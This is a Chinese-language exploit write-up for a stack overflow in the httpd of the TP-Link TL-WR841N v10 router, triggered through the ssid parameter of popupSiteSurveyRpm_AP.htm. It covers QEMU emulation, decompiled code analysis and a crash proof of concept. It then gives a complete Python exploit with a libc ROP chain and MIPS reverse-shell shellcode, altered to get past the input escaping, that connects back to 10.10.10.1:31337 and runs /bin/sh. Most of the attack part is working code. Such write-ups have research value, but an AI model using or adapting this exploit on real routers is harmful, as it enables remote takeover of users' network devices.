环境搭建
- 获取 TP-Lin-WR841n 的源码,并利用
binwalk
解压 .bin 文件。下文简称解压后的目录名为 extract。
wget https://static.tp-link.com/res/down/soft/TL-WR841N_V10_150310.zipunzip TL-WR841N_V10_150310.zipbinwalk -Me wr841nv10_wr841ndv10_en_3_16_9_up_boot\(150310\).bin
- 编译
hook.so
文件,hook 掉 httpd 文件中的阻塞函数。
#include <stdio.h>#include <stdlib.h>
int system(const char *command){ printf("HOOK: system(\"%s\")",command); return 1337;}
int fork(void){ return 1337;}/** * command of compiling : * mips-linux-gnu-gcc -shared -fPIC hook_mips.c -o hook.so */
- 把
hook.so
拷贝到 squashfs-root 目录下。 - 下载 mips 环境内核 + 文件系统。
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-3.2.0-4-4kc-maltawget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
- 编写 qemu 启动脚本,内容如下:
sudo qemu-system-mips \ -M malta \ -kernel vmlinux-3.2.0-4-4kc-malta \ -hda debian_squeeze_mips_standard.qcow2 \ -append "root=/dev/sda1 console=ttyS0" \ -net nic -net tap,ifname=tap0,script=no \ -nographic \ -pidfile vm.pid \ 2>&1 | tee vm.log
- 创建 tap0 网卡并分配 IP 地址信息。例如,我们分配给 tap0 的 IP 地址为 10.10.10.1/24。
- 运行 qemu 脚本并检查是否具备 eth0 网卡。如果存在 eth0 网卡合理分配 IP 地址(10.10.10.2/24),随后使用
ping -c 5 10.10.10.1
测试 qemu 虚拟机是否和宿主机互通。 - 打包 extract 目录下的 squashfs-root 目录,压缩后的文件命名为
rootfs.tar.gz
,并在 extract 目录下执行python3 -m http.server 1314
。 - 切换到 qemu 虚拟机中,使用
wget 10.10.10.1:1314/rootfs.tar.gz && tar -xvf rootfs.tar.gz
获取并解压压缩包。 - 在 qemu 虚拟机环境中使用如下指令集确认 libc.so.6 等必要文件存在。
cd squashfs-root/libln -s libuClibc-0.9.30.so libc.so.6ln -s ld-uClibc-0.9.30.so ld.so.1ls -l libc.so.6 ld.so.1
- 利用如下指令实现共享 dev 文件和 proc 文件。
mount -o bind /dev ./squashfs-root/dev/mount -t proc /proc/ ./squashfs-root/proc/
- 使用
chroot squashfs-root sh
进入固件环境。 - 使用如下指令集来启动固件
export LD_PRELOAD=./hook.so/usr/bin/httpd
- 最后使用 firefox 等浏览器访问
http://10.10.10.2
查看是否能够获取网页。

如果你需要调试,只需要放置 gdbserver 到 squashfs-root 然后使用 ./gdbserver.mipsbe 0.0.0.0:2333 /usr/bin/httpd
来启动调试环境。
漏洞分析
下述代码使用 Ghidra 反汇编生成,本人的 IDA Pro 8.3 反汇编会失败不清楚原因。
int stringModify(char *param_1,int param_2,int param_3){ char cVar1; char *pcVar2; int iVar3;
if ((param_1 == (char *)0x0) || (pcVar2 = (char *)(param_3 + 1), param_3 == 0)) { iVar3 = -1; } else { iVar3 = 0; while( true ) { cVar1 = pcVar2[-1]; if ((cVar1 == '\0') || (param_2 <= iVar3)) break; if (cVar1 == '/') { LAB_0043bb48: *param_1 = '\\'; LAB_0043bb4c: iVar3 = iVar3 + 1; param_1 = param_1 + 1; LAB_0043bb54: *param_1 = pcVar2[-1]; param_1 = param_1 + 1; } else { if ('/' < cVar1) { if ((cVar1 == '>') || (cVar1 == '\\')) goto LAB_0043bb48; if (cVar1 == '<') { *param_1 = '\\'; goto LAB_0043bb4c; } goto LAB_0043bb54; } if (cVar1 != '\r') { if (cVar1 == '\"') goto LAB_0043bb48; if (cVar1 != '\n') goto LAB_0043bb54; } if ((*pcVar2 != '\r') && (*pcVar2 != '\n')) { *param_1 = '<'; param_1[1] = 'b'; param_1[2] = 'r'; param_1[3] = '>'; param_1 = param_1 + 4; } } iVar3 = iVar3 + 1; pcVar2 = pcVar2 + 1; } *param_1 = '\0'; } return iVar3;}
我们可以看到 param_3
和 param_1
分别代表两个字符串,其中 param_3
和 param_1
分别代表处理结果和待处理字符串。而 param_2
表示处理的长度。因此我们不难推断出 iVar3
表示已处理字符串长度。从结构上看,stringModify()
函数的处理过程十分简洁。其主要目的是为了转义字符,例如转义了 /\<>
。在处理过程中,最值得注意的就是把单独的 \r
或者 \n
转义为 <br>
。这段处理过程可能是有问题的。因为转义操作涉及对原字符串增加字符的操作,如果缺失对于转义操作后字符串的长度关注则可能出现溢出漏洞。通过交叉应用 stringModify()
我们可以发现一个名为 writePageParamSet()
的函数。
void writePageParamSet(undefined4 param_1,char *param_2,int *param_3){ int iVar1; undefined *puVar2; undefined local_210 [512];
if (param_3 == (int *)0x0) { HTTP_DEBUG_PRINT("basicWeb/httpWebV3Common.c:178","Never Write NULL to page, %s, %d", "writePageParamSet",0xb2,&_gp); } iVar1 = strcmp(param_2,"\"%s\","); if (iVar1 == 0) { iVar1 = stringModify(local_210,0x200,param_3); if (iVar1 < 0) { printf("string modify error!"); local_210[0] = 0; } puVar2 = local_210; } else { iVar1 = strcmp(param_2,"%d,"); if (iVar1 != 0) { return; } puVar2 = (undefined *)*param_3; } httpPrintf(param_1,param_2,puVar2); return;}
我们继续交叉引用会发现 UndefinedFunction_0045fa94()
函数。我们发现该函数在获取数据的时候不存在长度的检测。并且 ssid 字段可以由用户控制。
pcVar9 = (char *)httpGetEnv(param_1,"ssid");if (pcVar9 == (char *)0x0) { acStack_d84[0] = '\0';}else { __n = strlen(pcVar9); strncpy(acStack_d84,pcVar9,__n);}
在获取之后,该函数就会调用 writePageParamSet()
向栈上写入数据。因此这个函数可能会触发栈溢出漏洞。
writePageParamSet(param_1,&DAT_00544d38,acStack_d84,0);writePageParamSet(param_1,"%d,",&uStack_d60,1);writePageParamSet(param_1,"%d,",&uStack_d5c,2);writePageParamSet(param_1,"%d,",&uStack_d58,3);writePageParamSet(param_1,"%d,",&uStack_d54,4);writePageParamSet(param_1,"%d,",&uStack_d50,5);writePageParamSet(param_1,"%d,",&uStack_d4c,6);writePageParamSet(param_1,"%d,",&uStack_d48,7);writePageParamSet(param_1,"%d,",&iStack_d44,8);
在阅读代码时,我们关注到触发漏洞的路径是 /userRpm/popupSiteSurveyRpm_AP.htm
或者 /userRpm/popupSiteSurveyRpm.htm
。
概念证明
在上述过程中,我们已经大致发现了漏洞产生的地方以及类型。因此我们需要编写 PoC (Proof of Concept) 来证明漏洞的存在性。
在证明概念之前,我们需要获取两个参数值:cookie、随机路径。

import requestsimport socketimport socksimport urllibdefault_socket = socket.socketsocket.socket = socks.socksocketsession = requests.Session()session.verify = Falsedef poc(path,cookie): headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36", "Cookie":f"Authorization={cookie}" } payload = "/%0A"*0x55 + "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac" params = { "mode":"1000", "curRegion":"1000", "chanWidth":"100", "channel":"1000", "ssid":urllib.request.unquote(payload) #if python3 #urllib.unquote(payload) #if python2 (suggest) } url=f"http://10.10.10.2:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm" resp = session.get(url,params=params,headers=headers,timeout=10) print (resp.text)
poc("OSHEABYBZJIHBISA","Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D")

至此我们证明了漏洞的存在性。而且通过调试界面,我们发现程序在试图执行地址为 0x61616561,也就是我们注入的垃圾数据 aaea。
漏洞利用
在概念证明中,我们大致找到了栈溢出的偏移量 (offset)。此外我们还关注到溢出的地方在栈上,并且这片区域存在 RWX 权限,这意味着我们可以使用 shellcode。那么大致思路就是利用 rop 将执行流跳转到 shellcode 即可。这里我们借用 H4lo 师傅的思路↗。这些 rop 主要在 libc.so.6 中查找。通过调试发现 libc 基地址在 0x77f39000
。

因为缓存不一致性 (cache incoherency),所以我们需要sleep来等待数据的同步。更进一步地说,指令Cache和数据Cache两者的同步需要一个时间来同步。需要调用sleep让shellcode从数据Cache刷新到指令Cache,否则会执行失败。不能像x86架构下直接跳转到shellcode。
我们前往 exploit-db↗ 搜索 shellcode 样本:
unsigned char sc[] = "\x24\x0f\xff\xfa" // li $t7, -6 "\x01\xe0\x78\x27" // nor $t7, $zero "\x21\xe4\xff\xfd" // addi $a0, $t7, -3 "\x21\xe5\xff\xfd" // addi $a1, $t7, -3 "\x28\x06\xff\xff" // slti $a2, $zero, -1 "\x24\x02\x10\x57" // li $v0, 4183 ( sys_socket ) "\x01\x01\x01\x0c" // syscall 0x40404 "\xaf\xa2\xff\xff" // sw $v0, -1($sp) "\x8f\xa4\xff\xff" // lw $a0, -1($sp) "\x34\x0f\xff\xfd" // li $t7, -3 ( sa_family = AF_INET ) "\x01\xe0\x78\x27" // nor $t7, $zero "\xaf\xaf\xff\xe0" // sw $t7, -0x20($sp)
/* ================ You can change port here ================= */ "\x3c\x0e\x7a\x69" // lui $t6, 0x7a69 ( sin_port = 0x7a69 ) /* ============================================================ */
"\x35\xce\x7a\x69" // ori $t6, $t6, 0x7a69 "\xaf\xae\xff\xe4" // sw $t6, -0x1c($sp)
/* ================ You can change ip here ================= */ "\x3c\x0e\xc0\xa8" // lui $t6, 0xc0a8 ( sin_addr = 0xc0a8 ... "\x35\xce\x02\x9d" // ori $t6, $t6, 0x029d ... 0x029d /* ============================================================ */
"\xaf\xae\xff\xe6" // sw $t6, -0x1a($sp) "\x27\xa5\xff\xe2" // addiu $a1, $sp, -0x1e "\x24\x0c\xff\xef" // li $t4, -17 ( addrlen = 16 ) "\x01\x80\x30\x27" // nor $a2, $t4, $zero "\x24\x02\x10\x4a" // li $v0, 4170 ( sys_connect ) "\x01\x01\x01\x0c" // syscall 0x40404 "\x24\x0f\xff\xfd" // li t7,-3 "\x01\xe0\x28\x27" // nor a1,t7,zero "\x8f\xa4\xff\xff" // lw $a0, -1($sp) // dup2_loop: "\x24\x02\x0f\xdf" // li $v0, 4063 ( sys_dup2 ) "\x01\x01\x01\x0c" // syscall 0x40404 "\x24\xa5\xff\xff" // addi a1,a1,-1 (\x20\xa5\xff\xff) "\x24\x01\xff\xff" // li at,-1 "\x14\xa1\xff\xfb" // bne a1,at, dup2_loop "\x28\x06\xff\xff" // slti $a2, $zero, -1 "\x3c\x0f\x2f\x2f" // lui $t7, 0x2f2f "\x35\xef\x62\x69" // ori $t7, $t7, 0x6269 "\xaf\xaf\xff\xec" // sw $t7, -0x14($sp) "\x3c\x0e\x6e\x2f" // lui $t6, 0x6e2f "\x35\xce\x73\x68" // ori $t6, $t6, 0x7368 "\xaf\xae\xff\xf0" // sw $t6, -0x10($sp) "\xaf\xa0\xff\xf4" // sw $zero, -0xc($sp) "\x27\xa4\xff\xec" // addiu $a0, $sp, -0x14 "\xaf\xa4\xff\xf8" // sw $a0, -8($sp) "\xaf\xa0\xff\xfc" // sw $zero, -4($sp) "\x27\xa5\xff\xf8" // addiu $a1, $sp, -8 "\x24\x02\x0f\xab" // li $v0, 4011 (sys_execve) "\x01\x01\x01\x0c"; // syscall 0x40404
直接使用现成的反弹 shell 的 shellcode 发现行不通,原因是程序中对数据有”过滤”,需要对shellcode修改。
对 shellcode 的修改方法主要有两种:
- 同指令替换。
- 进行简单编码。
因为”过滤”操作只是简单的转义,也就是增加 /
字符。我们就采用指令替换的方法,针对于 lui 指令的字节码为 0x3c (<) 的情况下,使用一些无关指令,如填充 ori t3,t3,0xff3c
指令时,3c 会被编码成 5c3c,那么这时候 0x3c 就逃逸到下一个内存空间中,这个 0x3c 就可以继续使用了 (针对于开头为 3c 的汇编指令)。
让我们来用 pwntools 做一个简单的实验:
asm("ori $t3,$t3,0xff3c", arch="mips", endian="big") # 5k\xff<
那么通过”过滤”后我们得到了 5k\xff\x5c<
,而 5k\xff\x5c
为:
disasm(b"5k\xff\x5c", arch="mips", endian="big", bytes=32)#' 0: 356bff5c ori t3, t3, 0xff5c'
而在我们的 shellcode 样本中,$t3
的值是无用的,这就导致 ori t3, t3, 0xff5c
指令的执行不会影响结果。
# -*- coding: utf-8 -*-#!/usr/bin/python2from pwn import *from pwn import context,p32,p16import requestsimport socketimport socksimport urllibimport struct
default_socket = socket.socketsocket.socket = socks.socksocketsession = requests.Session()session.verify = Falsecontext.endian = 'big'
libc_base=0x77f39000sleep =0x53CA0 #end 00053ECC
#gadgetsg1=0x000E204 #0x77F47204#LOAD:0000E204 move $t9, $s1#LOAD:0000E208 jalr $t9 ; sysconf#LOAD:0000E20C li $a0, 3g2=0x00037470#LOAD:00037470 move $t9, $s2#LOAD:00037474 lw $ra, 0x28+var_4($sp)#LOAD:00037478 lw $s2, 0x28+var_8($sp)#LOAD:0003747C lw $s1, 0x28+var_C($sp)#LOAD:00037480 lw $s0, 0x28+var_10($sp)#LOAD:00037484#LOAD:00037484 loc_37484:#LOAD:00037484 jr $t9 ; xdr_opaque_auth#LOAD:00037488 addiu $sp, 0x28g3=0x0000E904 #0x77f47904#LOAD:0000E904 addiu $a1, $sp, 0x168+var_150#LOAD:0000E908 move $t9, $s1#LOAD:0000E90C jalr $t9 ; stat64#LOAD:0000E910 addiu $a0, (aErrorNetrcFile+0x28 - 0x60000)g4=0x00374D8#LOAD:000374D8 move $t9, $a1#LOAD:000374DC sw $v0, 0x4C($a0)#LOAD:000374E0 move $a1, $a2#LOAD:000374E4 jr $t9#LOAD:000374E8 addiu $a0, 0x4C # 'L'
libc_addr = libc_basebin_sh_addr = libc_addr+0x00059D28escape_code = "\x35\x6b\xff\x3c" # ori $t3,$t3,0xff3c
def get_shellcode():
# 编码字符:\x0d、\x0a、\x3c
stg3_SC = "\x24\x0f\xff\xfd" stg3_SC += "\x01\xe0\x20\x27" stg3_SC += "\x01\xe0\x28\x27" stg3_SC += "\x28\x06\xff\xff" stg3_SC += "\x24\x02\x10\x57" stg3_SC += "\x01\x01\x01\x0c" # syscall 0x40404
stg3_SC += "\xaf\xa2\xff\xff" stg3_SC += "\x8f\xa4\xff\xff" stg3_SC += "\x24\x0f\xff\xfd" stg3_SC += "\x01\xe0\x78\x27" stg3_SC += "\xaf\xaf\xff\xe0" stg3_SC += escape_code stg3_SC += "\x0e\x7a\x69" stg3_SC += "\x35\xce\x7a\x69" # \x7a\x69:监听端口 31337 stg3_SC += "\xaf\xae\xff\xe4" # sw t6,-28(sp) stg3_SC += escape_code
# 本地 IP 地址:10.10.10.1 # lui $t7, 0xffff # high 16-bit # ori $t7, $t7, 0xffff # low 16-bit => $t7 = 0xffffffff # lui $t6, 0xf5f5 # xori $t6, $t6, 0xf5fe # => $t6 = 0x0a0a0000 # xor $t7, $t7, $t6 # $t7 = 0x0a0a0a01
stg3_SC += "\x0f\xff\xff" stg3_SC += "\x35\xef\xff\xff" # -> $t7 = 0xffffffff 255.255.255.255 stg3_SC += escape_code stg3_SC += "\x0e\xf5\xf5" # lui $t6, 0xf5f5 stg3_SC += "\x39\xce\xf5\xfe" stg3_SC += "\x01\xee\x78\x26" # -> $t7 = 10.10.10.1
stg3_SC += "\xaf\xaf\xff\xe6" # sw t7,-26(sp) stg3_SC += "\x23\xa5\xff\xe2" stg3_SC += "\x24\x0c\xff\xef" stg3_SC += "\x01\x80\x30\x27" stg3_SC += "\x24\x02\x10\x4a" stg3_SC += "\x01\x01\x01\x0c" # syscall 0x40404
stg3_SC += "\x24\x0f\xff\xfd" # dup2 loop stg3_SC += "\x01\xe0\x28\x27" stg3_SC += "\x8f\xa4\xff\xff" stg3_SC += "\x24\x02\x0f\xdf" stg3_SC += "\x01\x01\x01\x0c" stg3_SC += "\x20\xa5\xff\xff" stg3_SC += "\x24\x01\xff\xff" stg3_SC += "\x14\xa1\xff\xfb"
stg3_SC += "\x28\x06\xff\xff" # slti a2,zero,-1 stg3_SC += escape_code # "/bin/sh" 字符串在 libc 中的地址 stg3_SC += "\x04" + p16(bin_sh_addr>>16) # lui a0,0x77f9 stg3_SC += "\x34\x84" + p16(bin_sh_addr&0x0000ffff) # ori a0,a0,0x2d28
stg3_SC += "\x28\x05\xff\xff" stg3_SC += "\x24\x02\x0f\xab" stg3_SC += "\x01\x01\x01\x0c" # syscall 0x40404
stg3_SC += "\x24\x02\x0f\xa1" # exit(0) stg3_SC += "\x01\xc0\x20\x27" stg3_SC += "\x01\x01\x01\x0c"
print("payload size: " + str(len(stg3_SC)))
return stg3_SC'''SYS_socket(2,2,0)struct sockaddr_in { sa_family_t sin_family; // 地址族,通常是 AF_INET(=2) in_port_t sin_port; // 端口号(必须用 htons() 转换为网络字节序) struct in_addr sin_addr; // IP 地址(必须用 inet_addr 或 htonl 转换) char sin_zero[8];// 填充用,不需赋值};
'''s0=p32(0x11111111)s1=p32(g2+libc_base) # breaks2=p32(sleep+libc_base)
payload= "/%0A"*0x55 +2*'x'+s0 +s1 +s2payload+=p32(g1+libc_base)payload+='x'*28payload+=p32(g4+libc_base) #s1payload+=p32(0x33333333) #s2payload+=p32(g3+libc_base) #rapayload+='x'*24payload+=get_shellcode()
def exp(path,cookie): headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36", "Cookie":"Authorization={cookie}".format(cookie=str(cookie))} # payload="/%0A"*0x55 + "abcdefghijklmn"+"\x78\x56\x34\x12" params = { "mode":"1000", "curRegion":"1000", "chanWidth":"100", "channel":"1000", "ssid":urllib.unquote(payload) } url="http://10.10.10.2:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm".format(path=str(path)) resp = session.get(url,params=params,headers=headers,timeout=10) print (resp.text)
exp("AEIQSDABRZFEJHJB","Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D")